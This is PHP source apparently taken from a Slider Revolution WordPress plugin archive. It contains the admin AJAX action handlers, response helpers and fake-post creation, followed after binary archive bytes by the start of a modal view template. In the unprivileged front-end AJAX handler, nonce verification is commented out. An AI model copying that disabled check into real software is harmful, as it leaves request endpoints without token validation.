							$upd->upgrade_slider_to_latest($slider);
							$slider->init_by_id($slider_id);
						}
						global $rs_preview_mode;
						$rs_preview_mode = true;
						$content = '[rev_slider alias="' . esc_attr($slider->get_alias()) . '"][/rev_slider]';
					}elseif(!empty($slider_data)){
						$_slides = array();
						$_static = array();
						$slides = array();
						$static_slide = array();
						
						$_slider = array(
							'id'		=> $slider_id,
							'title'		=> 'Preview',
							'alias'		=> 'preview',
							'settings'	=> json_encode(array('version' => RS_REVISION)),
							'params'	=> stripslashes($this->get_val($slider_data, 'slider'))
						);
						
						$slide_order = json_decode(stripslashes($this->get_val($slider_data, array('slide_order'))), true);
						
						foreach($slider_data as $sk => $sd){
							if(in_array($sk, array('slider', 'slide_order'), true)) continue;
							
							if(strpos($sk, 'static_') !== false){
								$_static = array(
									'params' => stripslashes($this->get_val($sd, 'params')),
									'layers' => stripslashes($this->get_val($sd, 'layers')),
								);
							}else{
								$_slides[$sk] = array(
									'id'		=> $sk,
									'slider_id'	=> $slider_id,
									'slide_order' => array_search($sk, $slide_order),
									'params'	=> stripslashes($this->get_val($sd, 'params')),
									'layers'	=> stripslashes($this->get_val($sd, 'layers')),
									'settings'	=> array('version' => RS_REVISION)
								);
							}
						}
						
						$slider->set_slides($_slides);
						$output = new RevSliderOutput();
						$output->set_preview_mode(true);
						$slider->init_by_data($_slider);
						
						if($slider->is_stream() || $slider->is_posts()){
							$slides = $slider->get_slides_for_output();
						}else{
							if(!empty($_slides)){
								//reorder slides
								
								usort($_slides, array($this, 'sort_by_slide_order'));
								foreach($_slides as $_slide){
									$slide = new RevSliderSlide();
									$slide->init_by_data($_slide);
									if($slide->get_param(array('publish', 'state'), 'published') === 'unpublished') continue;
									$slides[] = $slide;
								}
							}
						}
						if(!empty($_static)){
							$slide = new RevSliderSlide();
							$slide->init_by_data($_static);
							$static_slide = $slide;
						}
						
						$output->set_slider($slider);
						$output->set_current_slides($slides);
						$output->set_static_slide($static_slide);
						
						ob_start();
						$slider = $output->add_slider_to_stage($slider_id);
						$content = ob_get_contents();
						ob_clean();
						ob_end_clean();
					}
					
					//get dimensions of slider
					$size = array(
						'width'	 => $slider->get_param(array('size', 'width'), array()),
						'height' => $slider->get_param(array('size', 'height'), array()),
						'custom' => $slider->get_param(array('size', 'custom'), array())
					);
					
					if(empty($size['width'])){
						$size['width'] = array(
							'd' => $this->get_val($this->global_settings, array('size', 'desktop'), '1240'),
							'n' => $this->get_val($this->global_settings, array('size', 'notebook'), '1024'),
							't' => $this->get_val($this->global_settings, array('size', 'tablet'), '778'),
							'm' => $this->get_val($this->global_settings, array('size', 'mobile'), '480')
						);
					}
					if(empty($size['height'])){
						$size['height'] = array('d' => '868', 'n' => '768', 't' => '960', 'm' => '720'); 
					}
					
					global $revslider_is_preview_mode;
					$revslider_is_preview_mode = true;
					if(extension_loaded('newrelic')){ //Ensure PHP agent is available
						if(function_exists('newrelic_disable_autorum')){
							newrelic_disable_autorum();
						}
					}
					
					require_once(RS_PLUGIN_PATH . 'public/includes/functions-public.class.php');
					$rev_slider_front = new RevSliderFront();
					
					$post = $this->create_fake_post($content, $title);
					
					define('SHOW_CT_BUILDER', false); //fix for oxygen builder plugin to not remove the <html> tag and so on
					
					ob_start();
					include(RS_PLUGIN_PATH . 'public/views/revslider-page-template.php');
					$html = ob_get_contents();
					ob_clean();
					ob_end_clean();
					
					$return = array('html' => $html, 'size' => $size, 'layouttype' => $slider->get_param('layouttype', 'fullwidth'));
					$return = apply_filters('revslider_preview_slider_addition', $return, $slider);
					
					$this->ajax_response_data($return);
					
					exit;
				break;
				case 'subscribe_to_newsletter':
					$email = $this->get_val($data, 'email');
					if(!empty($email)){
						$return = ThemePunch_Newsletter::subscribe($email);

						if($return !== false){
							if(!isset($return['status']) || $return['status'] === 'error'){
								$error = $this->get_val($return, 'message', __('Invalid Email', 'revslider'));
								$this->ajax_response_error($error);
							}else{
								$this->ajax_response_success(__('Success! Please check your E-Mails to finish the subscription', 'revslider'), $return);
							}
						}
						$this->ajax_response_error(__('Invalid Email/Could not connect to the Newsletter server', 'revslider'));
					}

					$this->ajax_response_error(__('No Email given', 'revslider'));
				break;
				case 'check_system':
					//recheck the connection to themepunch server
					$update = new RevSliderUpdate(RS_REVISION);
					$update->force = true;
					$update->_retrieve_version_info();

					$fun = new RevSliderFunctionsAdmin();
					$system = $fun->get_system_requirements();

					$this->ajax_response_data(array('system' => $system));
				break;
				case 'load_module':
					$module = $this->get_val($data, 'module', array('all'));
					$module_uid = $this->get_val($data, 'module_uid', false);
					$module_slider_id = $this->get_val($data, 'module_id', false);
					$refresh_from_server = $this->get_val($data, 'refresh_from_server', false);
					$get_static_slide = $this->_truefalse($this->get_val($data, 'static', false));
					
					if($module_uid === false){
						$module_uid = $module_slider_id;
					}

					$admin = new RevSliderFunctionsAdmin();
					$modules = $admin->get_full_library($module, $module_uid, $refresh_from_server, $get_static_slide);
					
					$this->ajax_response_data(array('modules' => $modules));
				break;
				case 'set_favorite':
					$do = $this->get_val($data, 'do', 'add');
					$type = $this->get_val($data, 'type', 'slider');
					$id = esc_attr($this->get_val($data, 'id'));

					$favorite = RevSliderGlobals::instance()->get('RevSliderFavorite');
					$favorite->set_favorite($do, $type, $id);

					$this->ajax_response_success(__('Favorite Changed', 'revslider'));
				break;
				case 'load_library_object':
					$library = new RevSliderObjectLibrary();

					$cover = false;
					$id = $this->get_val($data, 'id');
					$type = $this->get_val($data, 'type');
					if($type == 'thumb'){
						$thumb = $library->_get_object_thumb($id, 'thumb');
					}elseif($type == 'video'){
						$thumb = $library->_get_object_thumb($id, 'video_full', true);
						$cover = $library->_get_object_thumb($id, 'cover', true);
					}elseif($type == 'layers'){
						$thumb = $library->_get_object_layers($id);
					}else{
						$thumb = $library->_get_object_thumb($id, 'orig', true);
						if(isset($thumb['error']) && $thumb['error'] === false){
							$url = $library->get_correct_size_url($id, $type);
							if($url !== ''){
								$thumb['url'] = $url;
							}
						}
					}

					if(isset($thumb['error']) && $thumb['error'] !== false){
						$this->ajax_response_error(__('Object could not be loaded', 'revslider'));
					}else{
						if($type == 'layers'){
							$return = array('layers' => $this->get_val($thumb, 'data'));
						}else{
							$return = array('url' => $this->get_val($thumb, 'url'));
						}

						if($cover !== false){
							if(isset($cover['error']) && $cover['error'] !== false){
								$this->ajax_response_error(__('Video cover could not be loaded', 'revslider'));
							}

							$return['cover'] = $this->get_val($cover, 'url');
						}

						$this->ajax_response_data($return);
					}
				break;
				case 'create_slide':
					$slider_id = $this->get_val($data, 'slider_id', false);
					$amount = $this->get_val($data, 'amount', 1);
					$amount = intval($amount);
					$slide_ids = array();

					if(intval($slider_id) > 0 && ($amount > 0 && $amount < 50)){
						for ($i = 0; $i < $amount; $i++){
							$slide_ids[] = $slide->create_slide($slider_id);
						}
					}

					if(!empty($slide_ids)){
						$this->ajax_response_data(array('slide_id' => $slide_ids));
					}else{
						$this->ajax_response_error(__('Could not create Slide', 'revslider'));
					}
				break;
				case 'create_slider':
					/**
					 * 1. create a blank Slider
					 * 2. create a blank Slide
					 * 3. create a blank Static Slide
					 **/

					$slide_id = false;
					$slider_id = $slider->create_blank_slider();
					if($slider_id !== false){
						$slide_id = $slide->create_slide($slider_id); //normal slide
						$slide->create_slide($slider_id, '', true); //static slide
					}

					if($slide_id !== false){
						$this->ajax_response_data(array('slide_id' => $slide_id, 'slider_id' => $slider_id));
					}else{
						$this->ajax_response_error(__('Could not create Slider', 'revslider'));
					}
				break;
				case 'get_addon_list':
					$addon = new RevSliderAddons();
					$addons = $addon->get_addon_list();
					
					update_option('rs-addons-counter', 0); //set the counter back to 0
										
					$this->ajax_response_data(array('addons' => $addons));
				break;
				case 'get_layers_by_slide':
					$slide_id = $this->get_val($data, 'slide_id');

					$slide->init_by_id($slide_id);
					$layers = $slide->get_layers();

					$this->ajax_response_data(array('layers' => $layers));
				break;
				case 'activate_addon':
					$handle = $this->get_val($data, 'addon');
					$update = $this->get_val($data, 'update', false);
					$addon = new RevSliderAddons();

					$return = $addon->install_addon($handle, $update);

					if($return === true){
						$version = $addon->get_addon_version($handle);
						//return needed files of the plugin somehow
						$data = array();
						$data = apply_filters('revslider_activate_addon', $data, $handle);

						$this->ajax_response_data(array($handle => $data, 'version' => $version));
					}else{
						$error = ($return === false) ? __('AddOn could not be activated', 'revslider') : $return;
						
						$this->ajax_response_error($error);
					}
				break;
				case 'deactivate_addon':
					$handle = $this->get_val($data, 'addon');
					$addon = new RevSliderAddons();
					$return = $addon->deactivate_addon($handle);

					if($return){
						//return needed files of the plugin somehow
						$this->ajax_response_success(__('AddOn deactivated', 'revslider'));
					}else{
						$this->ajax_response_error(__('AddOn could not be deactivated', 'revslider'));
					}
				break;
				case 'create_draft_page':
					$admin		= new RevSliderFunctionsAdmin();
					$response	= array('open' => false, 'edit' => false);
					$slider_ids = $this->get_val($data, 'slider_ids');
					$modals		= $this->get_val($data, 'modals', array());
					$additions	= $this->get_val($data, 'additions', array());
					$page_id	= $admin->create_slider_page($slider_ids, $modals, $additions);
					
					if($page_id > 0){
						$response['open'] = get_permalink($page_id);
						$response['edit'] = get_edit_post_link($page_id);
					}
					$this->ajax_response_data($response);
				break;
				case 'generate_attachment_metadata':
					$this->generate_attachment_metadata();
					$this->ajax_response_success('');
				break;
				case 'export_layer_group': //developer function only :)
					$title = $this->get_val($data, 'title', $this->get_request_var('title'));
					$videoid = intval($this->get_val($data, 'videoid', $this->get_request_var('videoid')));
					$thumbid = intval($this->get_val($data, 'thumbid', $this->get_request_var('thumbid')));
					$layers = $this->get_val($data, 'layers', $this->get_request_var('layers', '', false));

					$export = new RevSliderSliderExport($title);
					$url = $export->export_layer_group($videoid, $thumbid, $layers);

					$this->ajax_response_data(array('url' => $url));
				break;
				case 'silent_slider_update':
					$upd = new RevSliderPluginUpdate();
					$return = $upd->upgrade_next_slider();
					
					$this->ajax_response_data($return);
				break;
				case 'load_wordpress_image':
					$id = $this->get_val($data, 'id', 0);
					$type = $this->get_val($data, 'type', 'orig');
					
					$img = wp_get_attachment_image_url($id, $type);
					if(empty($img)){
						$this->ajax_response_error(__('Image could not be loaded', 'revslider'));
					}
					
					$this->ajax_response_data(array('url' => $img));
				break;
				case 'load_library_image':
					$images	= (!is_array($data)) ? (array)$data : $data;
					$images	= RevSliderFunctions::esc_attr_deep($images);
					$images	= RevSliderAdmin::esc_js_deep($images);
					$img_data = array();
					
					if(!empty($images)){
						$templates = new RevSliderTemplate();
						$obj = new RevSliderObjectLibrary();
						
						foreach($images as $image){
							$type = $this->get_val($image, 'librarytype');
							$img = $this->get_val($image, 'id');
							$ind = $this->get_val($image, 'ind');
							$mt = $this->get_val($image, 'mediatype');
							switch($type){
								case 'moduletemplates':
								case 'moduletemplateslides':
									$img = $templates->_check_file_path($img, true);
									$img_data[] = array(
										'ind' => $ind,
										'url' => $img,
										'mediatype' => $mt
									);
								break;
								case 'image':
								case 'images':
								case 'layers':
								case 'objects':
									$get = ($mt === 'video') ? 'video_thumb' : 'thumb';
									$img = $obj->_get_object_thumb($img, $get, true);
									if($this->get_val($img, 'error', false) === false){
										$img_data[] = array(
											'ind' => $ind,
											'url' => $this->get_val($img, 'url'),
											'mediatype' => $mt
										);
									}
								break;
								case 'videos':
									$get = ($mt === 'img') ? 'video' : 'video_thumb';
									$img = $obj->_get_object_thumb($img, $get, true);
									if($this->get_val($img, 'error', false) === false){
										$img_data[] = array(
											'ind' => $ind,
											'url' => $this->get_val($img, 'url'),
											'mediatype' => $mt
										);
									}
								break;
							}
						}
					}
					
					$this->ajax_response_data(array('data' => $img_data));
				break;
				case 'create_customlibrary_tags':
					$obj = new RevSliderObjectLibrary();
					
					$name = $this->get_val($data, 'name', '');
					$type = $this->get_val($data, 'type', '');
					
					$return = $obj->create_custom_tag($name, $type);
					if(!is_array($return)){
						$this->ajax_response_error($return);	
					}else{
						$this->ajax_response_data($return);
					}
				break;
				case 'edit_customlibrary_tags':
					$obj = new RevSliderObjectLibrary();
					
					$id = $this->get_val($data, 'id', '');
					$name = $this->get_val($data, 'name', '');
					$type = $this->get_val($data, 'type', '');
					
					$return = $obj->edit_custom_tag($id, $name, $type);
					if($return !== true){
						$this->ajax_response_error($return);	
					}else{
						$this->ajax_response_success(__('Tag successfully saved', 'revslider'));
					}
				break;
				case 'delete_customlibrary_tags':
					$obj = new RevSliderObjectLibrary();
					
					$id = $this->get_val($data, 'id', '');
					$type = $this->get_val($data, 'type', '');
					
					$return = $obj->delete_custom_tag($id, $type);
					if($return !== true){
						$this->ajax_response_error($return);	
					}else{
						$this->ajax_response_success(__('Tag successfully deleted', 'revslider'));
					}
				break;
				case 'upload_customlibrary_item':
					$obj = new RevSliderObjectLibrary();
					
					$return = $obj->upload_custom_item($data);
					
					if(!is_array($return)){
						$this->ajax_response_error($return);
					}else{
						$return['tags'] = $this->get_val($obj->get_custom_tags(), 'svgcustom', array());
						$this->ajax_response_data($return);
					}
				break;
				case 'edit_customlibrary_item':
					$obj = new RevSliderObjectLibrary();
					
					$id = $this->get_val($data, 'id', '');
					$type = $this->get_val($data, 'type', '');
					$name = $this->get_val($data, 'name', '');
					$tags = $this->get_val($data, 'tags', '');
					$return = $obj->edit_custom_item($id, $type, $name, $tags);
					if($return !== true){
						$this->ajax_response_error(__('Item could not be changed', 'revslider'));	
					}else{
						$this->ajax_response_success(__('Item successfully changed', 'revslider'));
					}
				break;
				case 'delete_customlibrary_item':
					$obj = new RevSliderObjectLibrary();
					
					$id = $this->get_val($data, 'id', '');
					$type = $this->get_val($data, 'type', '');
					$return = $obj->delete_custom_item($id, $type);
					if($return !== true){
						$this->ajax_response_error(__('Item could not be deleted', 'revslider'));
					}else{
						$this->ajax_response_success(__('Item successfully deleted', 'revslider'));
					}
				break;
				case 'get_help_directory':
					include_once(RS_PLUGIN_PATH . 'admin/includes/help.class.php');

					if(class_exists('RevSliderHelp')){
						$help_data = RevSliderHelp::getIndex();
						$this->ajax_response_data(array('data' => $help_data));
					}else{
						$this->ajax_response_error(__('Error loading RevSliderHelp', 'revslider'));
					}
				break;
				case 'get_tooltips':
					include_once(RS_PLUGIN_PATH . 'admin/includes/tooltips.class.php');

					if(class_exists('RevSliderTooltips')){
						$tooltips = RevSliderTooltips::getTooltips();
						$this->ajax_response_data(array('data' => $tooltips));
					}else{
						$this->ajax_response_error(__('Error loading RevSliderTooltips', 'revslider'));
					}
				break;
				case 'set_tooltip_preference':
					update_option('revslider_hide_tooltips', true);
					$this->ajax_response_success(__('Preference Updated', 'revslider'));
				break;
				case 'save_color_preset':
					$presets = $this->get_val($data, 'presets', array());
					$color_presets = RSColorpicker::save_color_presets($presets);
					$this->ajax_response_data(array('presets' => $color_presets));
				break;
				case 'get_facebook_photosets':
					if(empty($data['app_id'])){
						$this->ajax_response_error(__('Facebook API error: Empty Access Token', 'revslider'));
					}
					if(empty($data['page_id'])){
						$this->ajax_response_error(__('Facebook API error: Empty Page ID', 'revslider'));
					}

					$facebook = RevSliderGlobals::instance()->get('RevSliderFacebook');
					$return = $facebook->get_photo_set_photos_options($data['app_id'], $data['page_id']);

					if(empty($return)){
						$error = __('Could not fetch Facebook albums', 'revslider');
						$this->ajax_response_error($error);
					}
					if(!empty($return['error'])){
						$this->ajax_response_error(__('Facebook API error: ', 'revslider') . $return['message']);
					}

					$this->ajax_response_success(__('Successfully fetched Facebook albums', 'revslider'), array('html' => implode(' ', $return)));
				break;
				case 'get_flickr_photosets':
					$error = __('Could not fetch flickr photosets', 'revslider');
					if(!empty($data['url']) && !empty($data['key'])){
						$flickr = new RevSliderFlickr($data['key']);
						$user_id = $flickr->get_user_from_url($data['url']);
						$return = $flickr->get_photo_sets($user_id, $data['count'], $data['set']);
						if(!empty($return)){
							$this->ajax_response_success(__('Successfully fetched flickr photosets', 'revslider'), array('data' => array('html' => implode(' ', $return))));
						}else{
							$error = __('Could not fetch flickr photosets', 'revslider');
						}
					}else{
						if(empty($data['url']) && empty($data['key'])){
							$this->ajax_response_success(__('Cleared Photosets', 'revslider'), array('html' => implode(' ', $return)));
						}elseif(empty($data['url'])){
							$error = __('No User URL - Could not fetch flickr photosets', 'revslider');
						}else{
							$error = __('No API KEY - Could not fetch flickr photosets', 'revslider');
						}
					}
					
					$this->ajax_response_error($error);
				break;
				case 'get_youtube_playlists':
					if(!empty($data['id'])){
						$youtube = new RevSliderYoutube(trim($data['api']), trim($data['id']));
						$return = $youtube->get_playlist_options($data['playlist']);
						$this->ajax_response_success(__('Successfully fetched YouTube playlists', 'revslider'), array('data' => array('html' => implode(' ', $return))));
					}else{
						$this->ajax_response_error(__('Could not fetch YouTube playlists', 'revslider'));
					}
				break;
				case 'fix_database_issues':
					update_option('revslider_table_version', '1.0.0');
					RevSliderFront::create_tables(true);
					$this->ajax_response_success(__('Slider Revolution database structure was updated', 'revslider'));
				break;
				case 'clear_internal_cache':
					$cache = RevSliderGlobals::instance()->get('RevSliderCache');
					$cache->clear_all_transients();
					
					$this->ajax_response_success(__('Slider Revolution internal cache was fully cleared', 'revslider'));
				break;
				case 'trigger_font_deletion':
					$this->delete_google_fonts();
					$this->ajax_response_success(__('Downloaded Google Fonts will be updated', 'revslider'));
				break;
				case 'get_same_aspect_ratio':
					$images = $this->get_val($data, 'images', array());
					$return = $this->get_same_aspect_ratio_images($images);
					
					$this->ajax_response_data(array('images' => $return));
				break;
				case 'get_addons_sizes':
					$addons = $this->get_val($data, 'addons', array());
					$sizes = $this->get_addon_sizes($addons);
					
					$this->ajax_response_data(array('addons' => $sizes));
				break;
				case 'save_custom_templates_slidetransitions':
					$return = $this->save_custom_slidetransitions($data);
					if ($return === false || intval($return) === 0) {
						$this->ajax_response_success(__('Slide transition template could not be saved', 'revslider'));
					} else {
						$this->ajax_response_success(__('Slide transition template saved', 'revslider'), array('data' => array('id' => $return)));
					}
				break;
				case 'delete_custom_templates_slidetransitions':
					if ($this->delete_custom_slidetransitions($data)) {
						$this->ajax_response_success(__('Slide transition template deleted', 'revslider'));
					} else {
						$this->ajax_response_error(__('Slide transition template could not be deleted', 'revslider'));
					}
				break;
				case 'create_image_from_raw':
					$mpeg = $this->get_val($data, 'mpeg', '');
					$slideid = $this->get_val($data, 'slideid', 0);
					$bitmap = $this->get_val($data, 'bitmap', '');
					$mpeg = basename($mpeg);
					if(empty($mpeg)) {
						$this->ajax_response_error(__('mpeg not set', 'revslider'));
					}
					
					$return = $this->import_media_raw($mpeg, $slideid, $bitmap);
					if(!is_array($return) && ($return === false || intval($return) === 0)){
						if ($return === false) {
							$this->ajax_response_error(__('Image could not be created', 'revslider'));
						} else {
							$this->ajax_response_error($return);
						}
					}
					if(isset($return['id'])){
						$return['path'] = wp_get_attachment_url($return['id']);
					}
					
					$this->ajax_response_data($return);
				break;
				case 'get_v5_slider_list':
					$admin = new RevSliderFunctionsAdmin();
					$sliders = $admin->get_v5_slider_data();
					
					$this->ajax_response_data(array('slider' => $sliders));
				break;
				case 'reimport_v5_slider':
					$status = false;
					if(!empty($data['id'])){
						$admin = new RevSliderFunctionsAdmin();
						$status = $admin->reimport_v5_slider($data['id']);
						
						$cache = RevSliderGlobals::instance()->get('RevSliderCache');
						$cache->clear_all_transients();
					}
					if($status === false){
						$this->ajax_response_error(__('Slider could not be transfered to v6', 'revslider'));
					}else{
						$this->ajax_response_success(__('Slider transfered to v6', 'revslider'));
					}
				break;
				default:
					$return = ''; //''is not allowed to be added directly in apply_filters(), so its needed like this
					$return = apply_filters('revslider_do_ajax', $return, $action, $data);
					if($return){
						if(is_array($return)){
							if(isset($return['error'])){
								$this->ajax_response_error($return['error']);
							}
							if(isset($return['message'])){
								$this->ajax_response_data(array('message' => $return['message'], 'data' => $return['data']));
							}

							$this->ajax_response_data(array('data' => $return['data']));
						}else{
							$this->ajax_response_success($return);
						}
					}
				break;
			}
		}catch(Exception $e){
			$message = $e->getMessage();
			if(in_array($action, array('preview_slide', 'preview_slider'))){
				echo $message;
				wp_die();
			}
			$this->ajax_response_error($message);
		}

		//it's an ajax action, so exit
		$this->ajax_response_error(__('No response on action', 'revslider'));
		wp_die();
	}

	/**
	 * Ajax handling for frontend, no privileges here
	 */
	public function do_front_ajax_action(){
		$token = $this->get_post_var('token', false);

		//verify the token
		//$is_verified = wp_verify_nonce($token, 'RevSlider_Front');

		$error = false;
		//if($is_verified){
		switch($this->get_post_var('client_action', false)){
			case 'get_transitions':
				$transitions = $this->get_base_transitions();
				$this->ajax_response_data(array('transitions' => $transitions));
			break;
			case 'get_slider_html':
				$alias = $this->get_post_var('alias', '');
				$usage = $this->get_post_var('usage', '');
				$modal = $this->get_post_var('modal', '');
				$layout = $this->get_post_var('layout', '');
				$offset = $this->get_post_var('offset', '');
				$id = intval($this->get_post_var('id', 0));
				
				//check if $alias exists in database, transform it to id
				if($alias !== ''){
					$sr = new RevSliderSlider();
					$id = intval($sr->alias_exists($alias, true));
				}
				
				if($id > 0){
					ob_start();
					$slider = new RevSliderOutput();
					$slider->set_ajax_loaded();
					
					$slider_class = $slider->add_slider_to_stage($id, $usage, $layout, $offset, $modal);
					$html = ob_get_contents();
					ob_clean();
					ob_end_clean();
					
					$result = !empty($slider_class) && $html !== '';
					
					if(!$result){
						$error = __('Slider not found', 'revslider');
					}else{
						if($html !== false){
							$htmlid = $slider->get_html_id();
							$return = array('data' => $html, 'waiting' => array(), 'toload' => array(), 'htmlid' => $htmlid);
							$return = apply_filters('revslider_get_slider_html_addition', $return, $slider);
							$this->ajax_response_data($return);
						}else{
							$error = __('Slider not found', 'revslider');
						}
					}
				}else{
					$error = __('No Data Received', 'revslider');
				}
			break;
		}
		/*}else{
			$error = true;
		}*/

		if($error !== false){
			$show_error = ($error !== true) ? __('Loading Error', 'revslider') : __('Loading Error: ', 'revslider') . $error;

			$this->ajax_response_error($show_error, false);
		}
		exit;
	}

	/**
	 * echo json ajax response as error
	 * @before: RevSliderBaseAdmin::ajaxResponseError();
	 */
	public function ajax_response_error($message, $data = null){
		$this->ajax_response(false, $message, $data);
	}

	/**
	 * echo ajax success response with redirect instructions
	 * @before: RevSliderBaseAdmin::ajaxResponseSuccessRedirect();
	 */
	public function ajax_response_redirect($message, $url){
		$data = array('is_redirect' => true, 'redirect_url' => $url);

		$this->ajax_response(true, $message, $data);
	}

	/**
	 * echo json ajax response, without message, only data
	 * @before: RevSliderBaseAdmin::ajaxResponseData()
	 */
	public function ajax_response_data($data){
		$data = (gettype($data) == 'string') ? array('data' => $data) : $data;

		$this->ajax_response(true, '', $data);
	}

	/**
	 * echo ajax success response
	 * @before: RevSliderBaseAdmin::ajaxResponseSuccess();
	 */
	public function ajax_response_success($message, $data = null){

		$this->ajax_response(true, $message, $data);
	}

	/**
	 * echo json ajax response
	 * before: RevSliderBaseAdmin::ajaxResponse
	 * @param bool $success
	 * @param string $message
	 * @param mixed $data
	 */
	private function ajax_response($success, $message, $data = null){

		$response = array(
			'success' => $success,
			'message' => $message,
		);

		if(!empty($data)){
			if(gettype($data) == 'string'){
				$data = array('data' => $data);
			}

			$response = array_merge($response, $data);
		}

		echo json_encode($response);

		wp_die();
	}

	
	/**
	 * set the page that should be shown
	 **/
	private function set_current_page(){
		$this->view = $this->get_get_var('view', 'sliders');
	}

	/**
	 * include/display the previously set page
	 * only allow certain pages to be showed
	 **/
	public function display_admin_page(){
		try{
			if(!in_array($this->view, $this->allowed_views)){
				$this->throw_error(__('Bad Request', 'revslider'));
			}
			
			switch($this->view){
				//switch URLs to corresponding php files
				case 'slide':
					$view = 'builder';
				break;
				case 'sliders':
				default:
					$view = 'overview';
				break;
			}

			$this->validate_filepath($this->path_views . $view . '.php', 'View');

			require $this->path_views . 'header.php';
			require $this->path_views . $view . '.php';
			require $this->path_views . 'footer.php';

		}catch(Exception $e){
			$this->show_error($this->view, $e->getMessage());
		}
	}
	
	
	/**
	 * show an nice designed error
	 **/
	public function show_error($view, $message){
		echo '<div class="rs-error">';
		echo __('Slider Revolution encountered the following error: ', 'revslider');
		echo esc_attr($view);
		echo ' - Error: <span>';
		echo esc_attr($message);
		echo '</span>';
		echo '</div>';
		exit;
	}
	
	
	/**
	 * validate that some file exists, if not - throw error
	 * @before: RevSliderFunctions::validateFilepath
	 */
	public function validate_filepath($filepath, $prefix = null){
		if(file_exists($filepath) == true) return true;
		
		$prefix	 = ($prefix == null) ? 'File' : $prefix;
		$message = $prefix.' '.esc_attr($filepath).' not exists!';
		
		$this->throw_error($message);
	}
	
	
	/**
	 * Create a temporary fake page/post
	 * @since: 6.0
	 **/
	public function create_fake_post($content, $title = 'Slider Revolution'){
		$post				 = new stdClass();
		$post->ID			 = -1;
		$post->post_author	 = get_current_user_id();
		$post->post_date	 = current_time('mysql');
		$post->post_date_gmt = current_time('mysql', 1);
		$post->post_title	 = $title;
		$post->post_content	 = $content;
		$post->post_status	 = 'publish';
		$post->comment_status = 'closed';
		$post->ping_status	 = 'closed';
		$post->post_name	 = 'rs-fake-page-' . rand(1, 99999); //append random number to avoid clash
		$post->post_type	 = 'page';
		$post->filter		 = 'raw'; //important
		
		//$post->post_meta		= new stdClass();
		//$post->post_meta->_wp_page_template= '../public/views/revslider-page-template.php';
		
		//Convert to WP_Post object
		$wp_post = new WP_Post($post);
		//Add the fake post to the cache
		wp_cache_add(-1, $wp_post, 'posts');
		
		global $wp, $wp_query;

		// Update the main query
		$wp_query->queried_object_id = -1;
		$wp_query->post				 = $wp_post;
		$wp_query->posts			 = array($wp_post);
		$wp_query->queried_object	 = $wp_post;
		$wp_query->found_posts		 = 1;
		$wp_query->post_count		 = 1;
		$wp_query->max_num_pages	 = 1;
		$wp_query->is_page			 = true;
		$wp_query->is_singular		 = true;
		$wp_query->is_single		 = false;
		$wp_query->is_attachment	 = false;
		$wp_query->is_archive		 = false;
		$wp_query->is_category		 = false;
		$wp_query->is_tag			 = false;
		$wp_query->is_tax			 = false;
		$wp_query->is_author		 = false;
		$wp_query->is_date			 = false;
		$wp_query->is_year			 = false;
		$wp_query->is_month			 = false;
		$wp_query->is_day			 = false;
		$wp_query->is_time			 = false;
		$wp_query->is_search		 = false;
		$wp_query->is_feed			 = false;
		$wp_query->is_comment_feed	 = false;
		$wp_query->is_trackback		 = false;
		$wp_query->is_home			 = false;
		$wp_query->is_embed			 = false;
		$wp_query->is_404			 = false;
		$wp_query->is_paged			 = false;
		$wp_query->is_admin			 = false;
		$wp_query->is_preview		 = false;
		$wp_query->is_robots		 = false; 
		$wp_query->is_posts_page	 = false;
		$wp_query->is_post_type_archive	= false;
		
		//Update globals
		$GLOBALS['wp_query'] = $wp_query;
		$wp->register_globals();
		
		return $wp_post;
	}
	
	
	/**
	 * esc attr recursive
	 * @since: 6.0
	 */
	public static function esc_js_deep($value){
		$value = is_array($value) ? array_map(array('RevSliderAdmin', 'esc_js_deep'), $value) : esc_js($value);
		
		return $value;
	}
	
	
	/**
	 * generate missing attachement metadata for images
	 * @since: 6.0
	 **/
	public function generate_attachment_metadata(){
		$rs_meta_create = get_option('rs_image_meta_todo', array());
		
		if(!empty($rs_meta_create)){
			foreach($rs_meta_create as $attach_id => $save_dir){
				if($attach_data = @wp_generate_attachment_metadata($attach_id, $save_dir)){
					@wp_update_attachment_metadata($attach_id, $attach_data);
				}
				unset($rs_meta_create[$attach_id]);
				
				update_option('rs_image_meta_todo', $rs_meta_create);
			}
		}
	}

}PK�y3\?Q�ڶd�dviews/modals-copyright.phpnu�[���<?php
/**
 * Provide an admin area view for the Slider Modal Options
 *
 * This file is used to markup the admin-facing aspects of the plugin.
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

if (method_exists('RevSliderGlobals','instance')) {
	$rs_f = RevSliderGlobals::instance()->get('RevSliderFunctions');
} else {
	$rs_f = new RevSliderFunctions();
}


$registered_p_c = ($rs_f->get_addition('selling') === true) ? __('registered license key', 'revslider') : __('registered purchase code', 'revslider');
$registered_p_c_url = ($rs_f->get_addition('selling') === true) ? 'https://account.sliderrevolution.com/portal/pricing/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=buykey' : 'https://themepunch.com/faq/where-to-find-purchase-code/';
?>

<!--OPTIMIZER DETAILS-->
<div style="display:none" class="_TPRB_ rb-modal-wrapper" data-modal="rbm_optimizer_infos" id="rbm_optimizer_infos_wrap" >
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_optimizer_infos" class="rb_modal form_inner">
				<div class="rbm_header">
					<span class="rbm_title">
						<i class="rbm_symbol material-icons">flash_on</i>
						<?php _e('File Size Optimizer Dimensions');?>
					</span>
					<i class="rbm_close material-icons">close</i>
				</div>
				<div class="rbm_content">
					<div style="padding:50px">											
						<div class="decmod_maintxt"><?php _e('Where do the available Dimensions come from?', 'revslider');?></div>
						<div class="decmod_subtxt"><?php _e('Those are all sizes that are already generated for the used image in the WordPress Media Library AND have the same aspect ratio.', 'revslider');?></div>
						<div class="div40"></div>
						<div class="decmod_maintxt"><?php _e('Why are my choices not exactly 1X or 2X?', 'revslider');?></div>
						<div class="decmod_subtxt"><?php _e('The File Size Optimizer looks at the required media size throughout all device layouts and in that way evaluates the available Dimensions.<br>If available, there is always a choice shown that is the closest to 1X or 2X.<br>If no fitting size is available, you can hover the standard (1X) or retina (2X) lines to get an info on the currently optimal size for your media.', 'revslider');?></div>
					</div>					
				</div>
			</div>
		</div>
	</div>
</div>


<div style="display:none" class="_TPRB_ rb-modal-wrapper rb-basicforms" data-modal="rbm_blocksettings">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_blocksettings" class="rb_modal form_inner">
